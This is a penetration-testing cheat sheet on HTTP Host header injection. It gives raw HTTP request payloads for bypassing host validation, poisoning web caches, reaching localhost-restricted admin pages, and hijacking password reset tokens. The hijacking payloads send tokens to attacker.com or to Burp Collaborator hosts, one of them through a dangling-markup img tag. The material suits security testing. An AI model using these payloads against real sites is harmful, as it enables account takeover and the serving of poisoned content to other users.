Host Header Injection

The HTTP Host header is a mandatory request header as of HTTP/1.1. The purpose of the HTTP Host header is to help identify which back-end component the client wants to communicate with. If requests didn’t contain Host headers, or if the Host header was malformed in some way, this could lead to issues when routing incoming requests to the intended application.

HTTP Host header attacks exploit vulnerable websites that handle the value of the Host header in an unsafe way. If the server implicitly trusts the Host header, and fails to validate or escape it properly, an attacker may be able to use this input to inject harmful payloads that manipulate server-side behavior. Attacks that involve injecting a payload directly into the Host header are often known as “Host header injection” attacks.

Host HTTP Header

💡 Use Burp Suite‘s extension Param Miner (PortSwigger).

When probing for Host header injection vulnerabilities, the first step is to test what happens when you supply an arbitrary, unrecognized domain name via the Host header.

Change the Host HTTP header value to the Burp Collaborator ID.

GET / HTTP/1.1
Host: <BURP COLLABORATOR ID>.oastify.com

In the simplest case, this may cause a 302 redirect to the supplied domain. Alternatively, the web server may send the request to the first virtual host on the list.

Adding a port

Some parsing algorithms will omit the port from the Host header, meaning that only the domain name is validated. If you are also able to supply a non-numeric port, you can leave the domain name untouched to ensure that you reach the target application, while potentially injecting a payload via the port.

GET /example HTTP/1.1
Host: vulnerable-website.com:bad-stuff-here

Flawed subdomain validation

Some sites will try to apply matching logic to allow for arbitrary subdomains. In this case, you may be able to bypass the validation entirely by registering an arbitrary domain name that ends with the same sequence of characters as a whitelisted one:

GET /example HTTP/1.1
Host: whatevervulnerable-website.com

Or use a already hacked subdomain.

GET /example HTTP/1.1
Host: hacked-subdomain.vulnerable-website.com

Duplicate the Host HTTP header

Let’s say the front-end gives precedence to the first instance of the header, but the back-end prefers the final instance. Given this scenario, you could use the first header to ensure that your request is routed to the intended target and use the second header to pass your payload into the server-side code.

GET /example HTTP/1.1
Host: vulnerable-website.com
Host: bad-stuff-here

Absolute URL

GET https://vulnerable-website.com/ HTTP/1.1
Host: bad-stuff-here
GET https://vulnerable-website.com/ HTTP/1.1
Host: <COLLABORATOR ID>

Line wrapping

GET /example HTTP/1.1
    Host: bad-stuff-here
Host: vulnerable-website.com

X-Forwarded-Host Header Bypass

Add the X-Forwarded-Host HTTP header with the Burp Collaborator ID.

GET / HTTP/1.1
Host: www.example.com
X-Forwarded-Host: <BURP COLLABORATOR ID>.oastify.com

Potentially producing client-side output such as:

...
<link src="http://<BURP COLLABORATOR ID>.oastify.com/link" />
...

Test with other headers:

X-Host:
X-Forwarded-Server:
X-HTTP-Host-Override:
Forwarded:

Bypass authentication restricted on “local users”

GET /admin HTTP/1.1
Host: localhost

Web Cache Poisoning

Practical Web Cache Poisoning

Using this technique, an attacker can manipulate a web-cache to serve poisoned content to anyone who requests it. This relies on the ability to poison the caching proxy run by the application itself, CDNs, or other downstream providers. As a result, the victim will have no control over receiving the malicious content when requesting the vulnerable application.

GET / HTTP/1.1
Host: www.attacker.com
...

The following will be served from the web cache, when a victim visits the vulnerable application.

...
<link src="http://www.attacker.com/link" />
...

Password Reset Poisoning

It is common for password reset functionality to include the Host header value when creating password reset links that use a generated secret token. If the application processes an attacker-controlled domain to create a password reset link, the victim may click on the link in the email and allow the attacker to obtain the reset token, thus resetting the victim’s password.

... Email snippet ...
Click on the following link to reset your password:
http://www.attacker.com/index.php?module=Login&action=resetPassword&token=<SECRET_TOKEN>
... Email snippet ...
  • Intercept request using Burp Suite.
  • Do a password reset request on the victim user account.

Test the Host HTTP header

  • Change the Host HTTP header in the password reset request so the token is sent to Burp Collaborator instead of the victim’s email address.
  • If Burp Collaborator receives a request with the token, access the forgot password link with the stolen token to reset the victim’s password.
POST /forgot-password HTTP/1.1
Host: <BURP COLLABORATOR ID>.oastify.com
...

username=victim

If the Host HTTP header is used within HTML in the email, see lab Password reset poisoning via dangling markup in WebSecurityAcademy (PortSwigger) – HTTP Host header attacks and Dangling markup injection (PortSwigger). Try to bypass by adding any port to the original Host header and completing the HTML.

POST /forgot-password HTTP/1.1
Host: vulnerable-website.com:1234'></a><img src="https://<BURP COLLABORATOR ID>.oastify.com?
...

username=victim

Test X-Forwarded-Host HTTP header

  • Add a HTTP header to the password reset request so the token is sent to Burp Collaborator instead of the victim’s email address. Try X-Forwarded-Host.
  • If Burp Collaborator receives a request with the token, access the forgot password link with the stolen token to reset the victim’s password.
POST /forgot-password HTTP/1.1
...
X-Forwarded-Host: <BURP COLLABORATOR ID>.oastify.com

username=victim